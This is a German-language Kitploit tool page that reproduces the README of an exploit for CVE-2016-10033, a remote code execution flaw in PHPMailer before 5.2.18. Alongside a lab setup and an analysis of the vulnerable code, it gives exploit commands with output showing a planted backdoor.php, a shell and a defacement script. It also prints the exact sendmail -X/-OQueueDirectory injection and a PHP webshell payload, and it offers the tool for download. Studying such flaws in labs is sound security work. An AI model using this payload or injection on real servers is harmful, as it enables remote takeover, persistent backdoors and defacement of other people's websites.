Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
exploit-CVE-2016-10033 — PHPMailer < 5.2.18 Remote-Codeausführung | Kitploit
Tools/GitHubGitHub/zeeshanbhattined/exploit-cve-2016-10033
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationLernen & BildungRemote-Access-ToolPayload-EntwicklungLabs & Praxis
GitHub
zeeshanbhattined/exploit-cve-2016-10033

exploit-CVE-2016-10033

PHPMailer < 5.2.18 Remote-Codeausführung

Repository anzeigen
13vor 4 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

PHPMailer < 5.2.18 Remote Code Execution

Docker Pulls License

PHPMailer ist die weltweit beliebteste Transportklasse mit schätzungsweise 9 Millionen Nutzern weltweit. Täglich werden weiterhin erhebliche Downloads verzeichnet. Wird von vielen Open-Source-Projekten verwendet: WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! und vielen weiteren.

PHPMailer vor Version 5.2.18 weist eine Schwachstelle auf, die zu Remote-Code-Ausführung (RCE) führen kann. Die mailSend-Funktion im isMail-Transport in PHPMailer könnte es Angreifern, wenn die Sender-Eigenschaft nicht gesetzt ist, ermöglichen, zusätzliche Parameter an den mail-Befehl zu übergeben und dadurch beliebigen Code über ein \" (Backslash-Doppelzeichen) in einer manipulierten From-Adresse auszuführen.

Angreifbare Umgebung

Um eine angreifbare Umgebung für Ihren Test einzurichten, benötigen Sie Docker und führen Sie einfach den folgenden Befehl aus:

root@kitploit:~
docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033

Und es wird eine angreifbare Webanwendung auf Ihrem Host auf Port 8080 bereitstellen.

vulnerable

Exploit

Um dieses Ziel auszunutzen, führen Sie einfach aus:

root@kitploit:~
./exploit host:port

Wenn Sie dieses angreifbare Image verwenden, können Sie einfach ausführen:

root@kitploit:~
./exploit localhost:8080

Nach der Ausnutzung wird eine Datei namens backdoor.php im Stammverzeichnis des Webverzeichnisses gespeichert. Und der Exploit gibt Ihnen eine Shell, von der aus Sie Befehle an die Backdoor senden können:

root@kitploit:~
./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Running whoami
www-data
RemoteShell> 

Und das war's, Sie haben Ihre Shell. Es gibt einen weiteren Exploit, der einen anderen Anwendungsfall veranschaulicht.

root@kitploit:~
./deface.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Placing your message in the server
[+] Job done, exiting

Und wenn Sie die Seite erneut besuchen, werden Sie Folgendes sehen:

defaced

Angreifbarer Code

Vor diesem Commit in class.phpmailer.php gibt es in einem bestimmten Szenario keine Filterung der Sonderzeichen in der Absender-E-Mail-Adresse. Diese Schwachstelle kann zu einer Remote-Code-Ausführung über die mail-Funktion hier führen.

Bei der Analyse des Codes gibt es keine Filterung in der mailSend()-Funktion

root@kitploit:~
        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender)) {
            $params = sprintf('-f%s', $this->Sender);
        }

$this->Sender wird direkt an die Variable $params angehängt, die in der Funktion validateAddress() gefiltert wurde, aber da sie die RFC 3696-Spezifikation verwendet, erlaubt sie bestimmte Zeichen, die Probleme verursachen. In diesem Fall Anführungszeichen:

Zusätzlich zur Zeichensetzung mit Backslash können konventionelle doppelte Anführungszeichen verwendet werden, um Zeichenfolgen zu umschließen. Zum Beispiel

"Abc@def"@example.com

"Fred Bloggs"@example.com

sind alternative Formen der ersten beiden Beispiele oben. Diese zitierten Formen werden selten empfohlen und sind in der Praxis ungewöhnlich, müssen aber, wie oben besprochen, von Anwendungen unterstützt werden, die E-Mail-Adressen verarbeiten. Insbesondere erscheinen die zitierten Formen oft im Zusammenhang mit Adressen bei Übergängen von anderen Systemen und Kontexten; diese Übergangsanforderungen treten immer noch auf, und da ein System, das eine benutzerdefinierte E-Mail-Adresse akzeptiert, nicht "wissen" kann, ob diese Adresse mit einem Legacy-System verbunden ist, müssen die Adressformen akzeptiert und in die E-Mail-Umgebung übergeben werden.

Sie können die gesamte RFC hier lesen, wenn Sie möchten. Aber auch, wenn die PHP-Version kleiner als 5.2.0 ist und kein PCRE installiert ist, wird die Variable $patternselect in validateAddress() auf noregex gesetzt. Dies führt dazu, dass die Eingabe jede Regex-Prüfung umgehen kann. Sie durchläuft nur eine kleine Überprüfung:

root@kitploit:~
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);

Dann geht der Codefluss zur mailPassthru()-Funktion, die, wenn sie im safe_mode läuft, nicht anfällig für diese Schwachstelle ist, wie der folgende Code zeigt:

root@kitploit:~
        //Can't use additional_parameters in safe_mode
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }

Aber wenn es nicht im safe_mode läuft, wird unser spezieller Parameter an mail() übergeben, und wenn wir Glück haben, wird es unsere Datei mit dem gewünschten Inhalt an den von uns gewählten Ort schreiben.

Hinweise zur Ausnutzung der PHP mail()-Funktion

Die Ausnutzung der PHP-mail()-Funktion ist nichts Neues, aber sie ist immer noch lebendig und wird weiterhin verwendet. Um zu erklären, wie es funktioniert, schauen wir uns an, wie die mail()-Funktion definiert ist:

root@kitploit:~
bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )

Es gibt verschiedene Ausnutzungsmethoden für unterschiedliche Ergebnisse, wir konzentrieren uns auf die Ausnutzung des 5. Parameters, um Remote-Code-Ausführung (RCE) zu erreichen. Der Parameter $additional_parameters wird verwendet, um zusätzliche Flags als Befehlszeilenoptionen an das zum Senden der E-Mail konfigurierte Programm zu übergeben. Diese Konfiguration wird durch die Variable sendmail_path definiert.

Ein Sicherheitshinweis aus der offiziellen PHP-Dokumentation:

Der Parameter additional_parameters kann verwendet werden, um zusätzliche Flags als Befehlszeilenoptionen an das Programm zu übergeben, das zum Senden von E-Mails konfiguriert ist, wie durch die Sendmail_path-Konfigurationseinstellung definiert. Beispielsweise kann dies verwendet werden, um die Absenderadresse des Umschlags festzulegen, wenn Sendmail mit der Option -f verwendet wird.

Dieser Parameter wird intern durch escapeshellcmd() maskiert, um die Befehlsausführung zu verhindern. escapeshellcmd() verhindert die Befehlsausführung, erlaubt aber das Hinzufügen zusätzlicher Parameter. Aus Sicherheitsgründen wird empfohlen, dass der Benutzer diesen Parameter bereinigt, um das Hinzufügen unerwünschter Parameter zum Shell-Befehl zu vermeiden.

In Anbetracht der zusätzlichen Parameter, die injiziert werden können, verwenden wir -X, um diese Schwachstelle auszunutzen. Mehr über den Parameter -X

root@kitploit:~
-X logfile
Log all traffic in and out of mailers in the indicated log file. This should only be used as a last resort for debugging mailer bugs. It will log a lot of data very quickly.

Es gibt auch einige andere interessante Parameter, die Sie kennen sollten:

root@kitploit:~
-Cfile
Use alternate configuration file. Sendmail gives up any enhanced (set-user-ID or set-group-ID) privileges if an alternate configuration file is specified.

Und

root@kitploit:~
-O option=value
Set option option to the specified value. This form uses long names.

Und für die Option -O ist QueueDirectory die interessanteste Option dort; diese Option wählt das Verzeichnis aus, in dem Nachrichten in die Warteschlange gestellt werden.

Wenn Sie die gesamte Liste der Parameter und Optionen lesen möchten, führen Sie einfach man sendmail aus oder lesen Sie sie online hier

Basierend auf diesen Informationen und der Fähigkeit, mindestens einen der anderen Parameter zu kontrollieren, können wir den Host ausnutzen. Nachfolgend die Schritte für eine erfolgreiche Ausnutzung:

  • Kontrollieren Sie $additional_parameters und einen weiteren mail() Parameter
  • Kennen Sie ein beschreibbares Verzeichnis auf dem Zielhost, das über das Zielsystem und den Benutzer (z. B. www-data) zugänglich ist. Normalerweise kann dieses Verzeichnis alles unterhalb von webroot sein (auch /var/www/html für andere Systeme, /www für dieses Beispiel)
  • Beliebigen PHP-Payload, den Sie möchten, wir verwenden in diesem Beispiel einen einfachen system()-Payload mit einer Prise Base64 und einigen Sonderzeichen |, um das Parsen zu erleichtern.
  • Setzen Sie einfach alles zusammen!

Denken Sie daran, dass die Option -X die Logdatei schreibt, die neben den Loginformationen Ihren PHP-Payload enthält, in das von Ihnen angegebene Verzeichnis. Ein Beispiel für einen angreifbaren PHP-Code:

root@kitploit:~
$to = '[email protected]';
$subject = '<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>';
$message = 'Pwned';
$headers = '';
$options = '-OQueueDirectory=/tmp -X/www/backdoor.php';
mail($to, $subject, $message, $headers, $options);

Payload

Unten der in diesem Beispiel verwendete Payload

root@kitploit:~
<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>

Ich möchte Fehler jagen, was nun?

Möchten Sie eine einfache, einzeilige Möglichkeit, diese Schwachstelle aufzuspüren? Merken Sie sich diesen magischen grep-Befehl!

root@kitploit:~
grep -r -n --include "*.php" "mail(.*,.*,.*,.*,.*)" *

Die Ausführung gegen dieses Repository ergibt:

root@kitploit:~
src/class.phpmailer.php:700:            $result = @mail($to, $subject, $body, $header, $params);

Credits

Diese Schwachstelle wurde von Dawid Golunski entdeckt.

Haftungsausschluss

Dieses oder ein vorheriges Programm dient NUR zu Bildungszwecken. Verwenden Sie es nicht ohne Genehmigung. Der übliche Haftungsausschluss gilt, insbesondere die Tatsache, dass ich (opsxcq) nicht haftbar bin für Schäden, die durch direkte oder indirekte Nutzung der von diesen Programmen bereitgestellten Informationen oder Funktionen entstehen. Der Autor oder ein Internetanbieter übernimmt KEINE Verantwortung für den Inhalt oder Missbrauch dieser Programme oder deren Derivaten. Durch die Nutzung dieser Programme akzeptieren Sie, dass jeglicher Schaden (Datenverlust, Systemabsturz, Systemkompromittierung usw.), der durch die Nutzung dieser Programme entsteht, nicht in der Verantwortung von opsxcq liegt.

Tool herunterladen